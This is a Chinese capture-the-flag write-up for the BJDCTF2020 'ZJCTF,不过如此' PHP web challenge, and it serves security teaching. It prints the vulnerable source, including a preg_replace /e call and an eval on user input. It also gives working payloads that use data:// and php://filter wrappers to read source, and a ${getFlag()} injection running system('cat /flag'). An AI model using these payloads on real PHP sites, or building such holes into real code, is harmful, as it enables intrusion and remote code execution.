[BJDCTF2020]ZJCTF,不过如此 1
1.发现
1.1对PHP代码进行审计.
error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
2.步骤
2.1根据代码提示,利用伪协议进行传参,得到一串base64密文。
http://cb6d9b65-0ea4-4388-bfaa-a66e9f79e397.node4.buuoj.cn:81/?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
2.2对密文进行解密,得到PHP代码。
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
2.3对代码进行审计,输入payload,得到flag。
http://cb6d9b65-0ea4-4388-bfaa-a66e9f79e397.node4.buuoj.cn:81//next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
![]()
3.借鉴
[BJDCTF2020]ZJCTF,不过如此 - 养一只猫 - 博客园 (cnblogs.com)
(36条消息) [BJDCTF2020]ZJCTF,不过如此1_十九不瞌睡的博客-CSDN博客
深入研究 preg_replace /e 模式下的代码漏洞问题_Web安全_心月IT博客 (xinyueseo.com)
4.知识点
伪协议
preg_replace /e 模式下的代码漏洞问题

浙公网安备 33010602011771号